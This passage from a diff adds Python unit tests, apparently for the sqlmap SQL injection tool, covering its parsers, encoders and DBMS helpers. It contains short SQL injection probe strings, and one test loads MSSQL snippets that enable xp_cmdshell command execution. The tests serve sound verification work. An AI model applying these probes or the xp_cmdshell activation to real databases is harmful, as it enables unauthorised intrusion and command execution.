"foo")]) + + def test_get_preserves_order(self): + result = paramToDict(PLACE.GET, "c=3&a=1&b=2") + self.assertEqual(list(result.keys()), ["c", "a", "b"]) + + def test_post_place(self): + result = paramToDict(PLACE.POST, "user=admin&pass=secret") + self.assertEqual(result["user"], "admin") + self.assertEqual(result["pass"], "secret") + + def test_empty_value(self): + result = paramToDict(PLACE.GET, "id=&name=x") + self.assertEqual(result["id"], "") + self.assertEqual(result["name"], "x") + + def test_value_with_equal_signs(self): + # value is re-joined on '=' so embedded '=' survives + result = paramToDict(PLACE.GET, "token=a=b=c") + self.assertEqual(result["token"], "a=b=c") + + def test_cookie_delimiter(self): + # COOKIE place splits on ';' rather than '&' + result = paramToDict(PLACE.COOKIE, "foo=bar;baz=qux") + self.assertEqual(list(result.items()), [("foo", "bar"), ("baz", "qux")]) + + def test_param_without_equals_ignored(self): + # an element with no '=' has len(parts) < 2 and is skipped + result = paramToDict(PLACE.GET, "lonely&id=1") + self.assertEqual(list(result.items()), [("id", "1")]) + + def test_html_entity_in_value_not_split(self): + # a genuine HTML entity in a value must not be split on its '&'/';' (any entity length) + result = paramToDict(PLACE.GET, "q=foo&bar&id=5") + self.assertEqual(list(result.items()), [("q", "foo&bar"), ("id", "5")]) + result = paramToDict(PLACE.GET, "q=foo—bar&id=5") + self.assertEqual(list(result.items()), [("q", "foo—bar"), ("id", "5")]) + + def test_html_entity_in_cookie_value_not_corrupted(self): + # regression: the entity's own ';' must not act as the cookie delimiter + result = paramToDict(PLACE.COOKIE, "token=a—b; id=5") + self.assertEqual(list(result.items()), [("token", "a—b"), ("id", "5")]) + + def test_non_entity_ampersand_still_splits(self): + # "&nope;" is not a real entity, so '&' remains a genuine delimiter + result = paramToDict(PLACE.GET, "a=1&nope=2") + self.assertEqual(list(result.items()), [("a", "1"), ("nope", "2")]) + + +class TestGetCharset(unittest.TestCase): + """Inference charsets are fixed integer tables.""" + + def test_binary(self): + self.assertEqual(getCharset(CHARSET_TYPE.BINARY), [0, 1, 47, 48, 49]) + + def test_default_is_full_ascii(self): + self.assertEqual(getCharset(None), list(range(0, 128))) + + def test_digits(self): + result = getCharset(CHARSET_TYPE.DIGITS) + self.assertEqual(result, list(range(0, 10)) + list(range(47, 58))) + + def test_alpha_has_no_digits(self): + result = getCharset(CHARSET_TYPE.ALPHA) + # ASCII codes for '0'..'9' are 48..57; ALPHA must exclude them + self.assertFalse(any(48 <= _ <= 57 for _ in result)) + self.assertIn(ord("A"), result) + self.assertIn(ord("z"), result) + + def test_alphanum_superset_of_alpha(self): + alpha = set(getCharset(CHARSET_TYPE.ALPHA)) + alphanum = set(getCharset(CHARSET_TYPE.ALPHANUM)) + self.assertTrue(alpha.issubset(alphanum)) + self.assertIn(ord("5"), alphanum) + + def test_hexadecimal_contains_hex_letters(self): + result = getCharset(CHARSET_TYPE.HEXADECIMAL) + for ch in "0123456789abcdefABCDEF": + self.assertIn(ord(ch), result, msg="missing %r" % ch) + + +class TestGetLimitRange(unittest.TestCase): + def test_basic(self): + self.assertEqual(list(getLimitRange(10)), list(range(0, 10))) + + def test_plus_one(self): + self.assertEqual(list(getLimitRange(3, plusOne=True)), [1, 2, 3]) + + def test_string_count_coerced(self): + # count is int()-coerced internally + self.assertEqual(list(getLimitRange("4")), [0, 1, 2, 3]) + + def test_length(self): + self.assertEqual(len(getLimitRange(7)), 7) + + +class TestParseUnionPage(unittest.TestCase): + def test_none(self): + self.assertIsNone(parseUnionPage(None)) + + def test_two_entries(self): + page = "%sfoo%s%sbar%s" % (kb.chars.start, kb.chars.stop, kb.chars.start, kb.chars.stop) + # returns a BigArray; compare element-wise + self.assertEqual(list(parseUnionPage(page)), ["foo", "bar"]) + + def test_single_entry_unwrapped(self): + # a lone wrapped string is returned as the bare string, not a 1-element list + page = "%shello%s" % (kb.chars.start, kb.chars.stop) + self.assertEqual(parseUnionPage(page), "hello") + + def test_multi_column_row(self): + # a single row whose values are joined by kb.chars.delimiter becomes one + # nested list entry + page = "%sa%sb%s" % (kb.chars.start, kb.chars.delimiter, kb.chars.stop) + self.assertEqual(list(parseUnionPage(page)), [["a", "b"]]) + + def test_unmarked_page_returned_verbatim(self): + self.assertEqual(parseUnionPage("no markers here"), "no markers here") + + +class TestSafeStringFormat(unittest.TestCase): + def test_basic_tuple(self): + self.assertEqual(safeStringFormat("SELECT foo FROM %s LIMIT %d", ("bar", "1")), + "SELECT foo FROM bar LIMIT 1") + + def test_literal_percent_preserved(self): + self.assertEqual( + safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ("bar", "1")), + "SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1") + + def test_single_string_param(self): + self.assertEqual(safeStringFormat("a %s b", "X"), "a X b") + + def test_scalar_non_string(self): + self.assertEqual(safeStringFormat("n=%d", 5), "n=5") + + +class TestUrlencode(unittest.TestCase): + def test_basic(self): + self.assertEqual(urlencode("AND 1>(2+3)#"), "AND%201%3E%282%2B3%29%23") + + def test_none(self): + self.assertIsNone(urlencode(None)) + + def test_spaceplus(self): + self.assertEqual(urlencode("a b", spaceplus=True), "a+b") + + def test_convall_encodes_safe_chars(self): + # with convall the explicit 'safe' set is dropped, so '/' gets encoded + self.assertEqual(urlencode("a/b", convall=True), "a%2Fb") + + def test_safe_char_default_kept(self): + # by default '-' and '_' are in the safe set + self.assertEqual(urlencode("a-b_c"), "a-b_c") + + +class TestParseTargetUrl(unittest.TestCase): + """parseTargetUrl mutates conf.* in place; save and restore everything touched.""" + + def _save(self): + return {k: conf.get(k) for k in + ("url", "scheme", "path", "hostname", "port", "ipv6")} + + def _restore(self, saved): + for k, v in saved.items(): + conf[k] = v + + def test_https_url(self): + saved = self._save() + orig_params = conf.parameters.get(PLACE.GET) + try: + conf.url = "https://www.test.com/?id=1" + parseTargetUrl() + self.assertEqual(conf.hostname, "www.test.com") + self.assertEqual(conf.scheme, "https") + self.assertEqual(conf.port, 443) + self.assertEqual(conf.parameters[PLACE.GET], "id=1") + finally: + self._restore(saved) + if orig_params is None: + conf.parameters.pop(PLACE.GET, None) + else: + conf.parameters[PLACE.GET] = orig_params + + def test_scheme_defaulted_and_port(self): + saved = self._save() + try: + conf.url = "example.org:8080/app" + parseTargetUrl() + self.assertEqual(conf.hostname, "example.org") + self.assertEqual(conf.scheme, "http") + self.assertEqual(conf.port, 8080) + finally: + self._restore(saved) + + def test_empty_url_returns_none(self): + saved = self._save() + try: + conf.url = "" + self.assertIsNone(parseTargetUrl()) + finally: + self._restore(saved) + + +class TestParseTargetDirect(unittest.TestCase): + """parseTargetDirect under smokeMode (early-returns before driver imports).""" + + def _save(self): + return {k: conf.get(k) for k in + ("direct", "dbms", "dbmsUser", "dbmsPass", "dbmsDb", "hostname", "port")} + + def _restore(self, saved): + for k, v in saved.items(): + conf[k] = v + + def test_full_mysql_dsn(self): + saved = self._save() + orig_smoke = kb.smokeMode + orig_none = conf.parameters.get(None) + try: + kb.smokeMode = True + conf.direct = "mysql://root:testpass@127.0.0.1:3306/testdb" + parseTargetDirect() + self.assertEqual(conf.dbms, "mysql") + self.assertEqual(conf.dbmsUser, "root") + self.assertEqual(conf.dbmsPass, "testpass") + self.assertEqual(conf.dbmsDb, "testdb") + self.assertEqual(conf.hostname, "127.0.0.1") + self.assertEqual(conf.port, 3306) + finally: + self._restore(saved) + kb.smokeMode = orig_smoke + if orig_none is None: + conf.parameters.pop(None, None) + else: + conf.parameters[None] = orig_none + + def test_quoted_password(self): + saved = self._save() + orig_smoke = kb.smokeMode + orig_none = conf.parameters.get(None) + try: + kb.smokeMode = True + conf.direct = "mysql://user:'P@ssw0rd'@127.0.0.1:3306/test" + parseTargetDirect() + self.assertEqual(conf.dbmsPass, "P@ssw0rd") + self.assertEqual(conf.hostname, "127.0.0.1") + finally: + self._restore(saved) + kb.smokeMode = orig_smoke + if orig_none is None: + conf.parameters.pop(None, None) + else: + conf.parameters[None] = orig_none + + def test_empty_direct_returns_none(self): + saved = self._save() + try: + conf.direct = None + self.assertIsNone(parseTargetDirect()) + finally: + self._restore(saved) + + +class TestSafeSQLIdentificatorNaming(unittest.TestCase): + """Quoting of identifiers is DBMS-specific; drive it via kb.forcedDbms.""" + + def _run(self, dbms, name, **kw): + orig = kb.forcedDbms + try: + kb.forcedDbms = dbms + return getText(safeSQLIdentificatorNaming(name, **kw)) + finally: + kb.forcedDbms = orig + + def test_mssql_keyword_bracketed(self): + self.assertEqual(self._run(DBMS.MSSQL, "begin"), "[begin]") + + def test_plain_name_unquoted(self): + self.assertEqual(self._run(DBMS.MSSQL, "foobar"), "foobar") + + def test_firebird_name_with_space_double_quoted(self): + self.assertEqual(self._run(DBMS.FIREBIRD, "foo bar"), '"foo bar"') + + def test_mysql_keyword_backticked(self): + self.assertEqual(self._run(DBMS.MYSQL, "select"), "`select`") + + def test_oracle_keyword_uppercased(self): + # Oracle quotes AND uppercases reserved words + self.assertEqual(self._run(DBMS.ORACLE, "table"), '"TABLE"') + + def test_unsafe_naming_passthrough(self): + orig = conf.unsafeNaming + try: + conf.unsafeNaming = True + self.assertEqual(self._run(DBMS.MYSQL, "select"), "select") + finally: + conf.unsafeNaming = orig + + +class TestGetPartRun(unittest.TestCase): + def test_no_dbms_handler_in_stack(self): + # called from a test (no conf.dbmsHandler.* on the stack) -> None + self.assertIsNone(getPartRun()) + + def test_non_alias_form_also_none(self): + self.assertIsNone(getPartRun(alias=False)) + + +# =========================================================================== # +# from tests/test_common_parsers.py +# =========================================================================== # + +class TestParseRequestFileBurp(unittest.TestCase): + """_parseBurpLog via parseRequestFile (plain '=====' log + Burp XML history).""" + + def setUp(self): + self._scope = conf.scope + self._method = conf.method + self._headers = conf.headers + conf.scope = None + conf.method = None # avoid a leaked conf.method overriding the parsed verb + + def tearDown(self): + conf.scope = self._scope + conf.method = self._method + conf.headers = self._headers + + def test_plain_burp_log_get(self): + content = ( + "======================================================\n" + "GET http://www.target.com:80/vuln.php?id=1 HTTP/1.1\n" + "Host: www.target.com\n" + "Cookie: PHPSESSID=abc\n" + "======================================================\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(url, "http://www.target.com:80/vuln.php?id=1") + self.assertEqual(method, HTTPMETHOD.GET) + self.assertIsNone(data) + self.assertEqual(cookie, "PHPSESSID=abc") + self.assertIn(("Host", "www.target.com"), headers) + + def test_burp_xml_history_base64_request(self): + req = "GET /vuln.php?id=1 HTTP/1.1\r\nHost: www.target.com\r\nCookie: SID=xyz\r\n\r\n" + b64 = base64.b64encode(req.encode()).decode() + xml = ('80' + '' + '' % b64) + path = _write_temp(xml, ".xml") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(url, "http://www.target.com:80/vuln.php?id=1") + self.assertEqual(method, HTTPMETHOD.GET) + self.assertEqual(cookie, "SID=xyz") + + def test_post_body_captured(self): + content = ( + "======================================================\n" + "POST http://www.target.com:80/login HTTP/1.1\n" + "Host: www.target.com\n" + "Content-Length: 17\n" + "\n" + "user=admin&pw=1\n" + "======================================================\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(method, HTTPMETHOD.POST) + self.assertEqual(data, "user=admin&pw=1") + + def test_scope_filters_out_nonmatching(self): + content = ( + "======================================================\n" + "GET http://www.target.com:80/vuln.php?id=1 HTTP/1.1\n" + "Host: www.target.com\n" + "======================================================\n" + ) + path = _write_temp(content, ".log") + try: + conf.scope = r"example\.org" # does not match target.com + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + self.assertEqual(targets, []) + + +class TestParseRequestFileWebScarab(unittest.TestCase): + """_parseWebScarabLog via parseRequestFile.""" + + def setUp(self): + self._scope = conf.scope + conf.scope = None + + def tearDown(self): + conf.scope = self._scope + + def test_get_conversation(self): + content = ( + "### Conversation : 1\n" + "URL: http://www.target.com/vuln.php?id=1\n" + "METHOD: GET\n" + "COOKIE: SID=abc\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + + self.assertEqual(len(targets), 1) + url, method, data, cookie, headers = targets[0] + self.assertEqual(url, "http://www.target.com/vuln.php?id=1") + self.assertEqual(method, "GET") + self.assertIsNone(data) + self.assertEqual(cookie, "SID=abc") + self.assertEqual(headers, tuple()) + + def test_post_conversation_skipped(self): + # POST bodies live in separate files -> WebScarab POSTs are skipped + content = ( + "### Conversation : 1\n" + "URL: http://www.target.com/login\n" + "METHOD: POST\n" + ) + path = _write_temp(content, ".log") + try: + targets = list(parseRequestFile(path)) + finally: + os.unlink(path) + self.assertEqual(targets, []) + + +class TestParseTargetDirectNonSmoke(unittest.TestCase): + """parseTargetDirect() non-smoke branch: resolves the canonical DBMS name. + + Uses SQLite because its driver (stdlib sqlite3) is always importable. + """ + + _KEYS = ("direct", "dbms", "dbmsUser", "dbmsPass", "dbmsDb", "hostname", "port") + + def setUp(self): + self._saved = {k: conf.get(k) for k in self._KEYS} + self._smoke = kb.smokeMode + self._params_none = conf.parameters.get(None) + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + kb.smokeMode = self._smoke + if self._params_none is None: + conf.parameters.pop(None, None) + else: + conf.parameters[None] = self._params_none + + def test_sqlite_local_dsn(self): + kb.smokeMode = False + conf.direct = "sqlite://%s" % os.path.join(SCRATCH, "test.db") + parseTargetDirect() + # non-smoke path canonicalizes the DBMS name via DBMS_DICT + self.assertEqual(conf.dbms, DBMS.SQLITE) + # local file DBMS: hostname forced to localhost, port 0 + self.assertEqual(conf.hostname, "localhost") + self.assertEqual(conf.port, 0) + self.assertEqual(conf.parameters[None], "direct connection") + + +class TestRemoveReflectiveValues(unittest.TestCase): + def setUp(self): + self._mech = kb.reflectiveMechanism + self._heur = kb.heuristicMode + kb.reflectiveMechanism = True + kb.heuristicMode = False + + def tearDown(self): + kb.reflectiveMechanism = self._mech + kb.heuristicMode = self._heur + + def test_reflected_payload_masked(self): + content = u"You searched for 1 AND 1=2 here" + out = removeReflectiveValues(content, "1 AND 1=2") + self.assertIn(REFLECTED_VALUE_MARKER, out) + self.assertNotIn("AND 1=2", out) + + def test_no_reflection_returns_content_unchanged(self): + content = u"nothing interesting" + out = removeReflectiveValues(content, "1 AND 1=2") + self.assertEqual(out, content) + + def test_none_payload_returns_content(self): + content = u"x" + self.assertEqual(removeReflectiveValues(content, None), content) + + def test_bytes_content_returned_as_is(self): + # non-text content short-circuits (isinstance text_type check) + content = b"1 AND 1=2" + self.assertEqual(removeReflectiveValues(content, "1 AND 1=2"), content) + + +class TestFindPageForms(unittest.TestCase): + def setUp(self): + self._scope = conf.scope + self._crawlExclude = conf.crawlExclude + self._cookie = conf.cookie + conf.scope = None + conf.crawlExclude = None + conf.cookie = None + + def tearDown(self): + conf.scope = self._scope + conf.crawlExclude = self._crawlExclude + conf.cookie = self._cookie + + def test_post_form_discovered(self): + html = ('
    ' + '' + '') + forms = findPageForms(html, "http://www.site.com") + self.assertEqual(forms, set([("http://www.site.com/input.php", "POST", "id=1", None, None)])) + + def test_get_form_discovered(self): + html = ('
    ' + '' + '') + forms = findPageForms(html, "http://www.site.com") + self.assertEqual(len(forms), 1) + url, method, data, _cookie, _ = list(forms)[0] + self.assertEqual(method, "GET") + self.assertIn("q=x", url) + + def test_inline_js_post_discovered(self): + # the `.post('url', {k: v})` regex branch (independent of HTML form parsing) + html = "" + forms = findPageForms(html, "http://www.site.com") + self.assertTrue(any(m == HTTPMETHOD.POST and u.endswith("/api/save") for (u, m, d, c, e) in forms)) + + def test_blank_content_returns_empty_set(self): + self.assertEqual(findPageForms("", "http://www.site.com"), set()) + + +class TestSaveConfig(unittest.TestCase): + def test_writes_ini_with_sections(self): + path = _write_temp("", ".ini") + try: + saveConfig(conf, path) + with open(path) as f: + data = f.read() + finally: + os.unlink(path) + + # optDict families become [Section] headers + self.assertIn("[Target]", data) + self.assertIn("[Request]", data) + self.assertIn("[Enumeration]", data) + self.assertTrue(len(data) > 0) + + +class TestGetSQLSnippet(unittest.TestCase): + def test_mssql_proc_loaded(self): + snippet = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") + self.assertIn("RECONFIGURE", snippet) + + def test_variable_substitution(self): + # %VAR% placeholders are substituted from kwargs (here %ENABLE%); + # supplying it avoids the interactive "provide substitution values" prompt. + snippet = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE="1") + self.assertIn("xp_cmdshell", snippet) + self.assertIn("RECONFIGURE", snippet) + # comments (#...) are stripped and the placeholder is fully resolved + self.assertNotIn("#", snippet) + self.assertNotIn("%ENABLE%", snippet) + + +class TestCheckSystemEncoding(unittest.TestCase): + def test_noop_on_normal_encoding(self): + # On a normal default encoding this is a no-op and must not raise. + self.assertIsNone(checkSystemEncoding()) + + +class TestFormatGetOs(unittest.TestCase): + def setUp(self): + self._api = conf.api + conf.api = False + + def tearDown(self): + conf.api = self._api + + def test_humanizes_type_and_technology(self): + info = { + "type": set(["Linux"]), + "distrib": set(["Ubuntu"]), + "release": set(["8.10"]), + "technology": set(["PHP 5.2.6", "Apache 2.2.9"]), + } + out = Format.getOs("back-end DBMS", info) + self.assertTrue(out.startswith("back-end DBMS operating system: Linux")) + self.assertIn("Ubuntu", out) + self.assertIn("8.10", out) + self.assertIn("web application technology:", out) + + def test_api_mode_returns_dict(self): + orig = conf.api + try: + conf.api = True + info = {"type": set(["Windows"]), "technology": set(["IIS"])} + out = Format.getOs("back-end DBMS", info) + self.assertIsInstance(out, dict) + self.assertIn("web application technology", out) + finally: + conf.api = orig + + +class TestBackendSetters(unittest.TestCase): + """Backend OS/version setters write kb state; save and restore it.""" + + _KEYS = ("os", "osVersion", "osSP", "dbmsVersion") + + def setUp(self): + self._saved = {k: kb.get(k) for k in self._KEYS} + + def tearDown(self): + for k, v in self._saved.items(): + kb[k] = v + + def test_set_get_os(self): + kb.os = None + self.assertEqual(Backend.setOs("windows"), "Windows") # capitalized + self.assertEqual(Backend.getOs(), "Windows") + + def test_set_os_none_returns_none(self): + self.assertIsNone(Backend.setOs(None)) + + def test_set_os_version(self): + kb.osVersion = None + Backend.setOsVersion("2008") + self.assertEqual(Backend.getOsVersion(), "2008") + + def test_set_os_service_pack(self): + kb.osSP = None + Backend.setOsServicePack(3) + self.assertEqual(Backend.getOsServicePack(), 3) + + def test_set_get_version(self): + kb.dbmsVersion = [] + self.assertEqual(Backend.setVersion("5.7"), ["5.7"]) + self.assertEqual(Backend.getVersion(), "5.7") + + def test_set_version_list(self): + kb.dbmsVersion = [] + Backend.setVersionList(["8.0", "8.1"]) + self.assertEqual(Backend.getVersionList(), ["8.0", "8.1"]) + + +class TestUrlencodeExtraBranches(unittest.TestCase): + def test_like_percent_encoded(self): + # '%' inside a LIKE '...' literal is encoded to %25 + self.assertEqual(urlencode("AND name LIKE '%DBA%'"), + "AND%20name%20LIKE%20%27%25DBA%25%27") + + def test_convall_drops_safe_set(self): + self.assertEqual(urlencode("a&b", convall=True), "a%26b") + + def test_limit_does_not_crash_on_long_input(self): + out = urlencode("x " * 4000, limit=True) + self.assertTrue(len(out) > 0) + + def test_direct_mode_returns_value_unchanged(self): + orig = conf.direct + try: + conf.direct = "mysql://u:p@h:3306/d" + self.assertEqual(urlencode("a b"), "a b") + finally: + conf.direct = orig + + +class TestSafeStringFormatExtraBranches(unittest.TestCase): + def test_percent_d_in_payload_region_becomes_string(self): + fmt = "SELECT %s" + PAYLOAD_DELIMITER + " AND %d " + PAYLOAD_DELIMITER + self.assertEqual( + safeStringFormat(fmt, ("a", "5")), + "SELECT a" + PAYLOAD_DELIMITER + " AND 5 " + PAYLOAD_DELIMITER) + + def test_scalar_string_percent_preserved(self): + # single-string param path: plain replace, embedded '%' survives + self.assertEqual(safeStringFormat("LIKE %s", "100%done"), "LIKE 100%done") + + def test_two_params_list(self): + self.assertEqual(safeStringFormat("%s/%s", ("a", "b")), "a/b") + + +# =========================================================================== # +# from tests/test_core_more.py (common.py classes) +# =========================================================================== # + +class TestSmallPredicates(unittest.TestCase): + def test_is_none_value(self): + self.assertTrue(isNoneValue(None)) + self.assertTrue(isNoneValue("None")) + self.assertTrue(isNoneValue("")) + self.assertTrue(isNoneValue([])) + self.assertTrue(isNoneValue(["None", ""])) + self.assertTrue(isNoneValue({})) + self.assertFalse(isNoneValue([2])) + self.assertFalse(isNoneValue("x")) + + def test_is_null_value(self): + self.assertTrue(isNullValue(u"NULL")) + self.assertTrue(isNullValue(u"null")) + self.assertFalse(isNullValue(u"foobar")) + self.assertFalse(isNullValue(5)) + + def test_is_num_pos_str_value(self): + self.assertTrue(isNumPosStrValue(1)) + self.assertTrue(isNumPosStrValue("1")) + self.assertFalse(isNumPosStrValue(0)) + self.assertFalse(isNumPosStrValue("-2")) + self.assertFalse(isNumPosStrValue("100000000000000000000")) + self.assertFalse(isNumPosStrValue("abc")) + + def test_is_number(self): + self.assertTrue(isNumber(1)) + self.assertTrue(isNumber("0")) + self.assertTrue(isNumber("3.14")) + self.assertFalse(isNumber("foobar")) + self.assertFalse(isNumber(None)) + + def test_is_list_like(self): + self.assertTrue(isListLike([1])) + self.assertTrue(isListLike((1,))) + self.assertTrue(isListLike(set([1]))) + self.assertFalse(isListLike("x")) + self.assertFalse(isListLike(5)) + + +class TestValueShaping(unittest.TestCase): + def test_filter_pair_values(self): + self.assertEqual(filterPairValues([[1, 2], [3], 1, [4, 5]]), [[1, 2], [4, 5]]) + self.assertEqual(filterPairValues(None), []) + + def test_filter_list_value(self): + self.assertEqual(filterListValue(["users", "admins", "logs"], r"(users|admins)"), + ["users", "admins"]) + # non-list input returned unchanged + self.assertEqual(filterListValue("notlist", r"x"), "notlist") + # no regex returns input + self.assertEqual(filterListValue(["a"], None), ["a"]) + + def test_filter_none(self): + self.assertEqual(filterNone([1, 2, "", None, 3, 0]), [1, 2, 3, 0]) + + def test_filter_string_value(self): + self.assertEqual(filterStringValue("wzydeadbeef0123#", r"[0-9a-f]"), "deadbeef0123") + + def test_un_arrayize_value(self): + self.assertEqual(unArrayizeValue(["1"]), "1") + self.assertEqual(unArrayizeValue("1"), "1") + self.assertEqual(unArrayizeValue(["1", "2"]), "1") + self.assertEqual(unArrayizeValue([["a", "b"], "c"]), "a") + self.assertIsNone(unArrayizeValue([])) + + def test_flatten_value(self): + self.assertEqual(list(flattenValue([["1"], [["2"], "3"]])), ["1", "2", "3"]) + + def test_arrayize_value(self): + self.assertEqual(arrayizeValue("1"), ["1"]) + self.assertEqual(arrayizeValue(["1"]), ["1"]) + + def test_join_value(self): + self.assertEqual(joinValue(["1", "2"]), "1,2") + self.assertEqual(joinValue("1"), "1") + self.assertEqual(joinValue(["1", None]), "1,None") + + +class TestZeroDepthAndSplit(unittest.TestCase): + def test_zero_depth_search_skips_parens(self): + expr = "SELECT (SELECT id FROM users WHERE 2>1) AS r FROM DUAL" + idx = zeroDepthSearch(expr, " FROM ") + # only the outer top-level FROM is found, not the one inside the subselect + self.assertEqual(len(idx), 1) + self.assertTrue(expr[idx[0]:].startswith(" FROM DUAL")) + + def test_zero_depth_search_ignores_quoted(self): + expr = "a , 'b , c' , d" + # commas inside the quoted literal are not reported + self.assertEqual(len(zeroDepthSearch(expr, ",")), 2) + + def test_split_fields_basic(self): + self.assertEqual(splitFields("foo, bar, max(foo, bar)"), + ["foo", "bar", "max(foo,bar)"]) + + def test_split_fields_quoted(self): + self.assertEqual(splitFields("a, 'b, c', d"), ["a", "'b, c'", "d"]) + + def test_split_fields_custom_delimiter(self): + self.assertEqual(splitFields("a; b; max(c; d)", delimiter=";"), + ["a", "b", "max(c;d)"]) + + +class TestAliasToDbmsEnum(unittest.TestCase): + def test_known_aliases(self): + self.assertEqual(aliasToDbmsEnum("mssql"), DBMS.MSSQL) + self.assertEqual(aliasToDbmsEnum("mysql"), DBMS.MYSQL) + self.assertEqual(aliasToDbmsEnum("postgres"), DBMS.PGSQL) + + def test_unknown_alias_returns_none(self): + self.assertIsNone(aliasToDbmsEnum("definitely_not_a_dbms")) + + def test_empty_returns_none(self): + self.assertIsNone(aliasToDbmsEnum("")) + + +class TestIsDBMSVersionAtLeast(unittest.TestCase): + """Version gating drives per-DBMS query selection; comparison must be component-wise.""" + + def setUp(self): + self._saved = kb.get("dbmsVersion") + + def tearDown(self): + kb.dbmsVersion = self._saved + + def _at_least(self, version, minimum): + kb.dbmsVersion = version + return isDBMSVersionAtLeast(minimum) + + def test_single_major_thresholds(self): + self.assertTrue(self._at_least("5.4.3", "5")) + self.assertTrue(self._at_least("8.0.32", "8")) + self.assertFalse(self._at_least("5.7.44", "8")) + + def test_multi_digit_minor_ordering(self): + # floats mis-sorted these (10.11->10.11 vs 10.5->10.5): component-wise fixes it + self.assertTrue(self._at_least("10.11", "10.5")) # MariaDB + self.assertFalse(self._at_least("10.6", "10.11")) + self.assertTrue(self._at_least("5.10.0", "5.5")) + self.assertTrue(self._at_least("9.10", "9.6")) # PostgreSQL + + def test_presto_sequential_minor(self): + # Presto 0.NNN: release 99 is OLDER than release 178 (float made 0.99 > 0.178) + self.assertFalse(self._at_least("0.99", "0.178")) + self.assertTrue(self._at_least("0.180", "0.178")) + + def test_range_and_prefix_semantics(self): + self.assertTrue(self._at_least("2", ">=2.0")) + self.assertFalse(self._at_least("2", ">2")) + self.assertFalse(self._at_least("<2", "2")) + self.assertTrue(self._at_least("<2", "1.5")) + + def test_unknown_version_is_none(self): + from lib.core.settings import UNKNOWN_DBMS_VERSION + kb.dbmsVersion = UNKNOWN_DBMS_VERSION + self.assertIsNone(isDBMSVersionAtLeast("5")) + + +class TestGetPageWordSet(unittest.TestCase): + def test_word_extraction(self): + words = getPageWordSet(u"foobartest") + self.assertEqual(sorted(words), [u"foobar", u"test"]) + + def test_non_string_returns_empty(self): + self.assertEqual(getPageWordSet(None), set()) + + +class TestNormalizeUnicode(unittest.TestCase): + def test_accents_stripped(self): + # normalizeUnicode collapses accented chars to their ASCII base + self.assertEqual(normalizeUnicode(u"\xe9\xe8"), "ee") + + def test_plain_ascii_unchanged(self): + self.assertEqual(normalizeUnicode(u"abc123"), "abc123") + + def test_none_returns_none(self): + self.assertIsNone(normalizeUnicode(None)) + + +class TestResetCookieJar(unittest.TestCase): + """resetCookieJar's clear branch (conf.loadCookies falsy).""" + + def setUp(self): + self._loadCookies = conf.loadCookies + conf.loadCookies = None + + def tearDown(self): + conf.loadCookies = self._loadCookies + + def test_clear_branch(self): + try: + from http.cookiejar import CookieJar + except ImportError: # Python 2 + from cookielib import CookieJar + + jar = CookieJar() + cleared = {"called": False} + + class _Jar(object): + def clear(self): + cleared["called"] = True + + resetCookieJar(_Jar()) + self.assertTrue(cleared["called"]) + # also accepts a real jar without raising + self.assertIsNone(resetCookieJar(jar)) + + +# =========================================================================== # +# from tests/test_core_extra.py (common.py classes) +# =========================================================================== # + +class TestCommonStringHelpers(unittest.TestCase): + """Small pure string/list/regex/encoding helpers in lib/core/common.py.""" + + def test_posix_to_nt_slashes(self): + from lib.core.common import posixToNtSlashes + self.assertEqual(posixToNtSlashes("C:/Windows"), "C:\\Windows") + self.assertEqual(posixToNtSlashes("a/b/c"), "a\\b\\c") + # falsy input returned unchanged + self.assertEqual(posixToNtSlashes(""), "") + self.assertIsNone(posixToNtSlashes(None)) + + def test_nt_to_posix_slashes(self): + from lib.core.common import ntToPosixSlashes + self.assertEqual(ntToPosixSlashes("C:\\Windows"), "C:/Windows") + self.assertEqual(ntToPosixSlashes("a\\b\\c"), "a/b/c") + self.assertEqual(ntToPosixSlashes(""), "") + + def test_is_hex_encoded_string(self): + from lib.core.common import isHexEncodedString + self.assertTrue(isHexEncodedString("DEADBEEF")) + self.assertTrue(isHexEncodedString("0x1234")) # 'x' is allowed by the regex + self.assertFalse(isHexEncodedString("test")) + self.assertFalse(isHexEncodedString("12 34")) # space breaks it + + def test_is_digit(self): + from lib.core.common import isDigit + self.assertTrue(isDigit("123456")) + self.assertFalse(isDigit("3b3")) + self.assertFalse(isDigit(u"\xb2")) # superscript-2: str.isdigit() True, isDigit False + self.assertFalse(isDigit("")) # empty -> no match + self.assertFalse(isDigit(None)) + + def test_sanitize_str(self): + from lib.core.common import sanitizeStr + self.assertEqual(sanitizeStr("foo\n\rbar"), "foo bar") + self.assertEqual(sanitizeStr("a\r\nb"), "a b") + self.assertEqual(sanitizeStr(None), "None") + + def test_filter_control_chars(self): + from lib.core.common import filterControlChars + self.assertEqual(filterControlChars("AND 1>(2+3)\n--"), "AND 1>(2+3) --") + # custom replacement character + self.assertEqual(filterControlChars("a\tb", replacement="_"), "a_b") + + def test_normalize_path(self): + from lib.core.common import normalizePath + self.assertEqual(normalizePath("//var///log/apache.log"), "/var/log/apache.log") + self.assertEqual(normalizePath("/a/b/../c"), "/a/c") + + def test_directory_path(self): + from lib.core.common import directoryPath + self.assertEqual(directoryPath("/var/log/apache.log"), "/var/log") + # no extension -> returned unchanged + self.assertEqual(directoryPath("/var/log"), "/var/log") + + def test_longest_common_prefix(self): + from lib.core.common import longestCommonPrefix + self.assertEqual(longestCommonPrefix("foobar", "fobar"), "fo") + self.assertEqual(longestCommonPrefix("abc", "abd", "abe"), "ab") + # single sequence returned verbatim + self.assertEqual(longestCommonPrefix("only"), "only") + + def test_first_not_none(self): + from lib.core.common import firstNotNone + self.assertEqual(firstNotNone(None, None, 1, 2, 3), 1) + self.assertEqual(firstNotNone(None, 0), 0) # 0 is not None + 